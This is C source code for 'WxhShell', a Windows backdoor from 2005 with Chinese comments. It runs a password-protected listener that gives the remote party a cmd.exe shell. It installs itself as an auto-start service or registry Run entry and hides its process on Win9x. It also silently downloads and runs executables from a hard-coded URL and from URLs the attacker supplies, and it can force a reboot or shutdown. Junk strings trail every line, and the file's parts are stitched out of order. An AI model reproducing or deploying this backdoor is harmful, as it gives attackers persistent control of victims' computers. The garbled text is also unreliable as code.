    if(Boot(SHUTDOWN)) :F@goiuC  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 18Ju]U  
    else { jp^Sw|  
    closesocket(wsh); ]]3rSXs2}J  
    ExitThread(0); (mKH,r  
    }  X>P|-n#  
    break; <^_crJONom  
    } BBv+*jj  
  // 获取shell M CP GDr  
  case 's': { fGRV]6?V  
    CmdShell(wsh); }&= =;7,O  
    closesocket(wsh); vUOl@UQ5  
    ExitThread(0); Jyr V2Tk^  
    break; I3d}DpPx%  
  } ' 2O @  
  // 退出 a60rJ#GD  
  case 'x': { het<#3Bo  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); sf# px|~9  
    CloseIt(wsh); GG +T-  
    break; %Uz\P|6PO  
    } G 2)F<Y  
  // 离开 Zr2!}jD9a  
  case 'q': { tZz%x?3G  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); -OlrA{=c_  
    closesocket(wsh); 'ET];iZ2  
    WSACleanup(); J 3C^tV  
    exit(1); f!w/zC .  
    break; &{a!)I>  
        } 4oiE@y&{4  
  } >RkaFcq  
  } pka^7OWyN  
tJrGRlB>  
  // 提示信息 n-cI~Ax+4  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); x$-kw{N  
} 4E.9CjN1>  
  } C,+  
~Fh+y+g?  
  return; qvc< _k^  
} k( 0;>)<i  
}MOXJb @  
// shell模块句柄 m,\+RUW'  
int CmdShell(SOCKET sock) 2p, U ^h  
{ 9jImuSZ  
STARTUPINFO si; ;j1 SSHZ  
ZeroMemory(&si,sizeof(si)); =%~- M  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; *>W<n1r@]  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; Rr [_t FM  
PROCESS_INFORMATION ProcessInfo; -& (iU#W  
char cmdline[]="cmd"; ~RVlc;W  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); _3%$E.Q  
  return 0; Ct-eD-X{  
} KMi$0+  
8zHx$g  
// 自身启动模式 4k^P1  
int StartFromService(void) |*t2IVwX  
{ c"tlNf?  
typedef struct O=bkq}  
{ goiI* " 6M  
  DWORD ExitStatus; h.R46:  
  DWORD PebBaseAddress; 7u;N/@  
  DWORD AffinityMask; 6V$ )ym*F  
  DWORD BasePriority; H4`>B>\  
  ULONG UniqueProcessId; 9 RDs`>v  
  ULONG InheritedFromUniqueProcessId; !k% PP  
}   PROCESS_BASIC_INFORMATION; ^^}htg  
H,TApF89A  
PROCNTQSIP NtQueryInformationProcess; M <JX  
1f+A_k/@  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; @>(JC]HtR  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; ?<4pYEP  
CP\[9#]:  
  HANDLE             hProcess; _5S0A0  
  PROCESS_BASIC_INFORMATION pbi; *-=/"m  
ahg P"Qz  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); %pjY^tM/  
  if(NULL == hInst ) return 0; V/xXW=  
Vq0X:<9  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); }^$#vJ(a7K  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); ! xM=7Q k  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); E8av/O VUd  
%1p-DX6  
  if (!NtQueryInformationProcess) return 0; 9~=zD9,|iA  
`#iL'ND[  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); j)8$hK/e0.  
  if(!hProcess) return 0; l4$ sku-  
'V%w{ZiiV  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; >x%HqP#_V  
'eBD/w5U  
  CloseHandle(hProcess); bK}ZR*)  
T\Xf0|y  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); *2/qm:gB  
if(hProcess==NULL) return 0; \3ydNgl  
#@-dT,t  
HMODULE hMod; vbJdhaf  
char procName[255]; wM[Z 0*K  
unsigned long cbNeeded; 82 |^o  
+pSo(e(  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); g]h@U&`~u_  
Q1*_l  
  CloseHandle(hProcess); GKEOjaE  
}U=}5`_]D  
if(strstr(procName,"services")) return 1; // 以服务启动 9[\do@  
#\N8E-d  
  return 0; // 注册表启动 whe%o  
} bHm/ZZx  
tc.|mIvw  
// 主模块 @VHstjos^V  
int StartWxhshell(LPSTR lpCmdLine) e~*tQ4  
{ NApy(e 5%  
  SOCKET wsl; ,)U%6=o#}  
BOOL val=TRUE; , 0X J|#%  
  int port=0; #s(ob `0|  
  struct sockaddr_in door; 28M^ F~0  
&b,A-1`w_  
  if(wscfg.ws_autoins) Install(); dpchZ{  
 l #]#_  
port=atoi(lpCmdLine); wbr$w>n  
6qmV/DL  
if(port<=0) port=wscfg.ws_port; \2~\c#-k  
/T  {R\  
  WSADATA data; x ]}'H  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; ODKh/u_  
z^*g 2J,  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   0FL'8!e<  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); _I EbRVpb  
  door.sin_family = AF_INET; *1-0s*T  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); 1NZpd'$c  
  door.sin_port = htons(port); *C|*{!  
Q~ Nq5[  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 3rZPVR$))  
closesocket(wsl); +-TEB  
return 1; zV15d91GX  
} OcpvY~"Pr  
$L|+Z>x  
  if(listen(wsl,2) == INVALID_SOCKET) { j p}.W  
closesocket(wsl); z*b|N45O  
return 1; 1x/R  
} opn6 C )  
  Wxhshell(wsl); WC_U'nTu4  
  WSACleanup(); BuAzO>=  
6Rif&W.xy  
return 0; Z/GSR$@lI  
c>c4IQ&d  
} <o|k'Y(-  
ub1~+T'O  
// 以NT服务方式启动 WFFd3TN%<  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) bx6=LK  
{ Zs0;92WL  
DWORD   status = 0; UWqX}T[^  
  DWORD   specificError = 0xfffffff; i*4v!(E  
rK;<-RE<[:  
  serviceStatus.dwServiceType     = SERVICE_WIN32; d'Dd66  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; X?u=R)uG  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; 9P#kV@%(0c  
  serviceStatus.dwWin32ExitCode     = 0; %@aC5^Ovy+  
  serviceStatus.dwServiceSpecificExitCode = 0; #U3q +d+^  
  serviceStatus.dwCheckPoint       = 0; }43qpJe8U  
  serviceStatus.dwWaitHint       = 0; k $ SMQ6  
~EQ# %db  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); gd%Ho8,T  
  if (hServiceStatusHandle==0) return; c\szy&W  
DtS7)/<T  
status = GetLastError(); 1B 0[dK2N  
  if (status!=NO_ERROR) w!d(NA<|0]  
{ zrE{CdG%y  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; 6"[,  
    serviceStatus.dwCheckPoint       = 0; e!w{ap8u  
    serviceStatus.dwWaitHint       = 0; s nNd7v.U6  
    serviceStatus.dwWin32ExitCode     = status; Ya<V@qd  
    serviceStatus.dwServiceSpecificExitCode = specificError; L"T :#>  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); .UN?Ak*R  
    return; &`]T# ">  
  } R:^jQ'1  
)*.rl  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; Sq2 8=1%  
  serviceStatus.dwCheckPoint       = 0; ]_!NmB_3  
  serviceStatus.dwWaitHint       = 0; o~xGE6A*"  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); Nd;pkssd  
} HB<>x  
]R09-s 0$7  
// 处理NT服务事件,比如:启动、停止 k0b6X5  
VOID WINAPI NTServiceHandler(DWORD fdwControl) fCO<-L9k$  
{ h]Gvt 5  
switch(fdwControl) {?mb.~(  
{ e+ m(g  
case SERVICE_CONTROL_STOP: Xoq -  
  serviceStatus.dwWin32ExitCode = 0; !Ap*PL  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; \4fuC6d2  
  serviceStatus.dwCheckPoint   = 0; XZTH[#MqeI  
  serviceStatus.dwWaitHint     = 0; s,|v,,<+  
  { ?2gXF0+~Y2  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); h>z5m   
  } G 40  
  return; fNrpYR X  
case SERVICE_CONTROL_PAUSE: :$XlYJrjK  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; !bX   
  break; 3r?T|>|  
case SERVICE_CONTROL_CONTINUE: U4iVI#f  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; XE;' K`%  
  break; szOa yAS  
case SERVICE_CONTROL_INTERROGATE: SK@lr  
  break; #!(2@N8  
}; J'wJe,  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); TyR@3H  
} L5wFbc"u  
Pn ?gB}l  
// 标准应用程序主函数 4~d:@Gmk&  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) #=F{G4d)!=  
{ sr<\fW  
raMtTL+  
// 获取操作系统版本 I5Rd~-="G  
OsIsNt=GetOsVer(); 3)(uC+?[  
GetModuleFileName(NULL,ExeFile,MAX_PATH); b: I0Zv6  
/1+jQS  
  // 从命令行安装 c48I-{?  
  if(strpbrk(lpCmdLine,"iI")) Install(); GIS,EwA  
|A=~aQot  
  // 下载执行文件 &mba{O  
if(wscfg.ws_downexe) { @G|z _  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) 5E${  
  WinExec(wscfg.ws_filenam,SW_HIDE); h~=~csya:  
} a,xy3 8T<  
L*{E-m/  
if(!OsIsNt) { WjvgDNk  
// 如果时win9x,隐藏进程并且设置为注册表启动 r;"Qu  
HideProc(); Q_k'7Z\g$  
StartWxhshell(lpCmdLine); V#~.n ;d  
} <^e  
else j:2*hF!E  
  if(StartFromService()) ]];LA!n  
  // 以服务方式启动 H 9?txNea  
  StartServiceCtrlDispatcher(DispatchTable); %)o;2&aD  
else #V@vz#bo=  
  // 普通方式启动 cfc=a  
  StartWxhshell(lpCmdLine); / !hxW}>^  
AFWWGz  
return 0; aOmQ<N]a  
} i~{0>"9  
>PUT(yNL  
h0-CTPQ7A  
`I(5Aj"  
=========================================== ca'c5*Fs  
6 _#CvQ  
YG#{/;^nm)  
h- %RSei5  
DV!0zzJ  
LiJ./  
" ca:Vdrw`  
x!fRT.,}  
#include <stdio.h> rxeOT# N}  
#include <string.h> T ?{F7  
#include <windows.h> v;Rm42k  
#include <winsock2.h> !Ic~_7"  
#include <winsvc.h> Qt=OiKZ  
#include <urlmon.h> @KU^B_{i  
.:Zb~  
#pragma comment (lib, "Ws2_32.lib") c,5yH  
#pragma comment (lib, "urlmon.lib") b2hXFwPe  
G=m18Bv{  
#define MAX_USER   100 // 最大客户端连接数 E~`<n]{G-C  
#define BUF_SOCK   200 // sock buffer F2',3  
#define KEY_BUFF   255 // 输入 buffer ifadnl26 s  
Bv^5L>JZ/  
#define REBOOT     0   // 重启 E<tJ8&IGk  
#define SHUTDOWN   1   // 关机 =u.hHkx  
(q=),3/<pU  
#define DEF_PORT   5000 // 监听端口 wU&vkb)k  
Z:>ek>Op  
#define REG_LEN     16   // 注册表键长度 uL=FK  
#define SVC_LEN     80   // NT服务名长度 W9jxw4)  
et@<MU@ `  
// 从dll定义API e^-CxHwA-  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); }i9VV+L#1  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);  $kY ]HI  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); "E7YCZQR  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); ZY8:7Q@P>  
*NoixV1>  
// wxhshell配置信息 ]=(PtzVa  
struct WSCFG { WdTia o,r  
  int ws_port;         // 监听端口 *^p^tK  
  char ws_passstr[REG_LEN]; // 口令 Vv*](iM  
  int ws_autoins;       // 安装标记, 1=yes 0=no 8]l(D  
  char ws_regname[REG_LEN]; // 注册表键名 _i2k$Nr  
  char ws_svcname[REG_LEN]; // 服务名 7~nuFJaTI  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 x+W,P  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 ulNMqz\.  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 M)sAMfuUw  
int ws_downexe;       // 下载执行标记, 1=yes 0=no o|y1m7X  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" VH<-||X/4  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 \W"p<oo|H  
>4nQ&b.u  
}; r|Q/:UV?w  
Tvd: P^ C  
// default Wxhshell configuration sQLjb8!7  
struct WSCFG wscfg={DEF_PORT, qR9!DQc'  
    "xuhuanlingzhe", # 2?3B  
    1, @$5= 4HA  
    "Wxhshell",  OF O,5  
    "Wxhshell", g\G}b  
            "WxhShell Service", oe[f2?-  
    "Wrsky Windows CmdShell Service", 8_T9[ ]7V8  
    "Please Input Your Password: ", > QG@P  
  1, -mG ,_}F  
  "http://www.wrsky.com/wxhshell.exe", .T#}3C/  
  "Wxhshell.exe" !twYjOryH[  
    }; -b=A j8h  
Jj~|2Zt  
// 消息定义模块 N@V:nCl  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; _a  zJ>  
char *msg_ws_prompt="\n\r? for help\n\r#>"; k;jXVa  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; Nu@dMG<5  
char *msg_ws_ext="\n\rExit."; >YR2h/S  
char *msg_ws_end="\n\rQuit."; cueaOtD  
char *msg_ws_boot="\n\rReboot..."; I8{ mkh  
char *msg_ws_poff="\n\rShutdown..."; VUZeC,FfO  
char *msg_ws_down="\n\rSave to "; ?vQ:z{BO  
u]& +TR  
char *msg_ws_err="\n\rErr!"; bRK\Tua 6  
char *msg_ws_ok="\n\rOK!"; L)"CE].  
Dw<bLSaW&  
char ExeFile[MAX_PATH]; 3e)$<e  
int nUser = 0; W6V((84(O  
HANDLE handles[MAX_USER]; F[>Y8e<[  
int OsIsNt; .H Pa\b\L>  
)C0d*T0i  
SERVICE_STATUS       serviceStatus; 1wBmDEhS  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; .pIO<ZAFT  
5),&{k!  
// 函数声明 a&u!KAQ  
int Install(void); n _kE  
int Uninstall(void); hP$5>G(3  
int DownloadFile(char *sURL, SOCKET wsh); 5aNvGI1  
int Boot(int flag); Jv?EV,S/e  
void HideProc(void);  '3xK1Am  
int GetOsVer(void); NKl`IiGv  
int Wxhshell(SOCKET wsl); 1P WTbd l  
void TalkWithClient(void *cs); vb3hDy  
int CmdShell(SOCKET sock); M9?f`9  
int StartFromService(void); ;9' ] na  
int StartWxhshell(LPSTR lpCmdLine); ~ /rKKc  
Y~@(  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); k+~2 vmS  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); 3 6t^iV*3  
`W.g1"o8W4  
// 数据结构和表定义 C9*[/|T  
SERVICE_TABLE_ENTRY DispatchTable[] = PW\me7iCz  
{ Y++n0sK5<  
{wscfg.ws_svcname, NTServiceMain}, "^wIixOH5  
{NULL, NULL} 3AAciMq}  
}; X$_pDF&\z  
B qLL]%F  
// 自我安装 N_d{E/  
int Install(void) ,P=.x%  
{ jwSPLq%  
  char svExeFile[MAX_PATH]; h.kjJF  
  HKEY key; I= a?z<  
  strcpy(svExeFile,ExeFile); ^fmuBe}d{  
t<"%m)J  
// 如果是win9x系统,修改注册表设为自启动 N1"p ;czK  
if(!OsIsNt) { )a9C3-8Y'  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { s\p 1EL(  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); PsOq-  
  RegCloseKey(key); '*^9'=  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { $-]I?cWlQ  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); <C451+95  
  RegCloseKey(key); 8fktk?|  
  return 0; N#XC%66qy!  
    } ~y"OyOi&  
  } P"o|kRO  
} Mi\- 9-  
else { K(HrwH`a{  
#g'j0N  
// 如果是NT以上系统,安装为系统服务 y>7 r;e  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); .1z=VLKF'  
if (schSCManager!=0) Q<KF<K'0hg  
{ /U-+ClZi@  
  SC_HANDLE schService = CreateService 9e.$x%7j  
  ( ddd2w  
  schSCManager, Ya(3Z_f+VZ  
  wscfg.ws_svcname, T#i~/  
  wscfg.ws_svcdisp, 7|jy:F,w%  
  SERVICE_ALL_ACCESS, BzV97'  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , DiGHo~f  
  SERVICE_AUTO_START, reM~q-M~o@  
  SERVICE_ERROR_NORMAL, Mpco8b-b  
  svExeFile, btC6R>0   
  NULL, 7U^{xDg.b  
  NULL, %LD(S*>7  
  NULL, D7m uf  
  NULL, Cl3L)  
  NULL sx]{N  
  ); J^S!GG'gb  
  if (schService!=0) ,Q.[Lc=w  
  { QpRk5NeLe  
  CloseServiceHandle(schService); |o*qZ}6  
  CloseServiceHandle(schSCManager); Z^=(9 :  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); GG-b)64h`  
  strcat(svExeFile,wscfg.ws_svcname); YB!f=_8  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { ;C=V -r  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); teC/Uf 5  
  RegCloseKey(key); XB B>"  
  return 0; =e0MEV#s.  
    } aof'shS8  
  } Gm\)1b  
  CloseServiceHandle(schSCManager); h9!4\{V;h  
} qnnRS  
} 7=Pj}x)  
_wX(OB  
return 1; N U+PG`Vb  
} og~a*my3  
hl] y):  
// 自我卸载 ,-8Xb+!8I  
int Uninstall(void) R lbJ4`a  
{ 7i'clB9!  
  HKEY key; m1X*I  
s&Al4>}.f  
if(!OsIsNt) { 7/_|/4&  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { [*I7^h%  
  RegDeleteValue(key,wscfg.ws_regname); ~66v.`K!  
  RegCloseKey(key); VS_\bIC  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 9ZR"Lo>3e+  
  RegDeleteValue(key,wscfg.ws_regname); #$L/pRC  
  RegCloseKey(key); e'c3.sQ|?  
  return 0; 7GG`9!l]D  
  } X+<9 -]=  
} cKOXsdH?SL  
} ,\#j6R,{I  
else { vb]uO ' l  
w5rtYT I  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); l-!"   
if (schSCManager!=0) m=v.<+>  
{ Z#[%JUYp'  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); |id7@3leu  
  if (schService!=0) (n_.bSI  
  { ;=E}PbZt2  
  if(DeleteService(schService)!=0) { w(X}  
  CloseServiceHandle(schService); U3v~R4  
  CloseServiceHandle(schSCManager); fCnwDT  
  return 0; <:N$ $n  
  } zlTLp-^Y  
  CloseServiceHandle(schService); 8wZ $Hq  
  } 7}~nQl2  
  CloseServiceHandle(schSCManager); 1=E}X5  
} ~k?t  
} 45iO2W uur  
 G;A  
return 1; @{Fa=".Ch  
} -em3 #V  
-;RAW1]}Y$  
// 从指定url下载文件 .L^;aL  
int DownloadFile(char *sURL, SOCKET wsh) :B|rs&  
{ MrOtsX  
  HRESULT hr; )cZ KB0*+  
char seps[]= "/"; a8%T*mk(  
char *token; ?duw0SZ  
char *file; B>z^W+Unyn  
char myURL[MAX_PATH]; 9o6qN1A0g  
char myFILE[MAX_PATH]; h"}F3E  
3W.D^^)eCV  
strcpy(myURL,sURL); `ZP[-:`  
  token=strtok(myURL,seps); 99]s/KD2yb  
  while(token!=NULL) NcX-* o  
  { //Xz  
    file=token; h\Zh^B6J  
  token=strtok(NULL,seps); ,.gJ8p(0x  
  } ;;U&mhz`  
"/UPq6  
GetCurrentDirectory(MAX_PATH,myFILE); FgPmQ  
strcat(myFILE, "\\"); *]kE3  
strcat(myFILE, file); `$3P@SO"  
  send(wsh,myFILE,strlen(myFILE),0); 9{A*[.XK]  
send(wsh,"...",3,0); qPhVc9D#  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); *0'{ n*>  
  if(hr==S_OK) X\<a|/{V A  
return 0; [r'hX#  
else #}Ays#wA>?  
return 1; =Q|s[F  
ypfjF@OT  
} gKIN* Od  
F1`mq2^@  
// 系统电源模块 do%.KIk  
int Boot(int flag) 5pRVA  
{ 15DlD`QV  
  HANDLE hToken; /`O'eH  
  TOKEN_PRIVILEGES tkp; kQ)2DCb dn  
T16B2|C"Y  
  if(OsIsNt) { 91#n Aj%  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); O9{A)b!HB  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); PKs$Q=Ol<|  
    tkp.PrivilegeCount = 1; A {')  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; q93V'[)F  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); ,l\D@<F  
if(flag==REBOOT) { V<REcII.  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) m :]F &s  
  return 0; 2TaHWw<A  
} fAvB!e  
else { <R#:K7> O  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) ZPY84)A_}  
  return 0; \z2d=E  
} 81wmKqDEs  
  } x1:1Jj:  
  else { 8EI&}I  
if(flag==REBOOT) { e}L(tXZ  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) [3W+h1  
  return 0; s|"4!{It  
} +T7FG_  
else { 9p"';*{=  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) )v.\4Q4  
  return 0; sF#t{x/sW  
} h^b=  
} `P9%[8`C 9  
]}A yDy6C  
return 1; z.kBQ{P  
} VH.}}RS%  
E`uK7 2j  
// win9x进程隐藏模块 /M_kJe,%  
void HideProc(void) !myF_cv}'  
{ {*4Z9.2c*  
*(<3 oIRS  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); . J*2J(T,  
  if ( hKernel != NULL ) OB ~74}3;  
  { aeF^&F0  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); ^kj%Ekt7  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); knZ<V%/e  
    FreeLibrary(hKernel); (fWQ?6[  
  } I~Z m**L  
 \R<OT%8  
return; ~wRozV  
} NW;wy;;  
@BXV>U2B{  
// 获取操作系统版本 h%@#jvh?4  
int GetOsVer(void) aMjCqu05  
{ 5($ '@u  
  OSVERSIONINFO winfo; l,3[hx  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); Ss7XjWP.}  
  GetVersionEx(&winfo); tI(co5 W  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) }' t*BaU  
  return 1; [t`QV2um  
  else uJ$!lyJ6L  
  return 0; `_v|O{DC{  
} bx<7@  
vd<" G}  
// 客户端句柄模块 ?wx|n_3<:  
int Wxhshell(SOCKET wsl) [(N<E/m%B  
{ w~g)Dz2G  
  SOCKET wsh; Oj0/[(D-  
  struct sockaddr_in client; W7"ks(  
  DWORD myID; vQ}llA h  
s0"1W"7vh  
  while(nUser<MAX_USER) kSw.Q2ao  
{ H;$OCDRC  
  int nSize=sizeof(client); `D%bZ%25c  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); ,tL<?6_  
  if(wsh==INVALID_SOCKET) return 1; # -Ts]4v  
=6TD3k6(2  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); ZOG6  
if(handles[nUser]==0) OE/O:F:1j  
  closesocket(wsh); @vaK-&|#$  
else v7/qJ9l  
  nUser++; e;<=aa)}?  
  } j xr~cp?4  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); PDo%ob\Ym  
:WT O*M  
  return 0; ]J C}il_b  
} \5Jpr'mY5  
><[($Gq`g  
// 关闭 socket 0> m-J  
void CloseIt(SOCKET wsh) /AP@Bhm  
{ 70L{u+wIy  
closesocket(wsh); P-VK=Y1q  
nUser--; X/TuiKe  
ExitThread(0); {ls$#a+d  
} Z!m0nx  
iP;X8'< BC  
// 客户端请求句柄 <ok/2v  
void TalkWithClient(void *cs) 5 d S5,  
{ l =ZhHON  
fNc3&=]]  
  SOCKET wsh=(SOCKET)cs; 2hl'mRW  
  char pwd[SVC_LEN]; %9xz[Ng  
  char cmd[KEY_BUFF]; qde.;Yv9  
char chr[1]; Mjrl KI}f/  
int i,j; 9Bl_t}0  
:~pPB#)nk  
  while (nUser < MAX_USER) { ewSFB< N  
~&=-*  
if(wscfg.ws_passstr) { u~6`9'Ms  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); X6/k `J  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); g6k@E,cI_  
  //ZeroMemory(pwd,KEY_BUFF); 7^h?<X\  
      i=0; cTFyF)  
  while(i<SVC_LEN) { RiF~-;v&  
pIk&NI  
  // 设置超时 Aq}]{gfQ1  
  fd_set FdRead; ;GO>#yg4Eh  
  struct timeval TimeOut; E@aR5S>  
  FD_ZERO(&FdRead); _H|x6X1-  
  FD_SET(wsh,&FdRead); %8tlJQvu  
  TimeOut.tv_sec=8; 'Uew(o  
  TimeOut.tv_usec=0; q-3%.<LL  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); G:$wdT(u  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); 7M<Ae D%  
R}a,.C  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ~oh=QakW  
  pwd=chr[0]; Z16G  
  if(chr[0]==0xd || chr[0]==0xa) { ]QM6d(zDA  
  pwd=0; ]L%qfy4  
  break; 8l0%:6XbI  
  } Uwr inkoeE  
  i++; 0n|op:]BHM  
    } ^wCjMi(sj  
sXkWs2!  
  // 如果是非法用户,关闭 socket UHF.R>Ry  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); ` ZXX[&C  
} g= k}6"F~  
kN >%y&cK  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); f@Rn&&-  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); G eN('0  
8E"Ik ~  
while(1) { hV])\t=yf  
deHhl(U;  
  ZeroMemory(cmd,KEY_BUFF); M2_sxibI  
! R?r)G5E  
      // 自动支持客户端 telnet标准   MQY^#N  
  j=0; a33}CVG-e3  
  while(j<KEY_BUFF) { mHB*4L  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Q\ TawRK8  
  cmd[j]=chr[0]; e3UGYwQ  
  if(chr[0]==0xa || chr[0]==0xd) { r4k =i4  
  cmd[j]=0; nellN}jYsM  
  break; :2{6Pa(eg  
  } VG^*?62  
  j++; ;ajCnSmR  
    } rlmzbIu I9  
F]\(p=U.  
  // 下载文件 Uc%(#I]Mi  
  if(strstr(cmd,"http://")) { "qjkw f)\  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); mufi>}  
  if(DownloadFile(cmd,wsh)) B> *zQb2:  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); G < Z)y#  
  else n~l9`4wJY  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 2jV.\C k  
  } {m~.'DU  
  else { D*BZp0x  
5wYYYo=  
    switch(cmd[0]) { b<>GF-`w  
  M3ihtY  
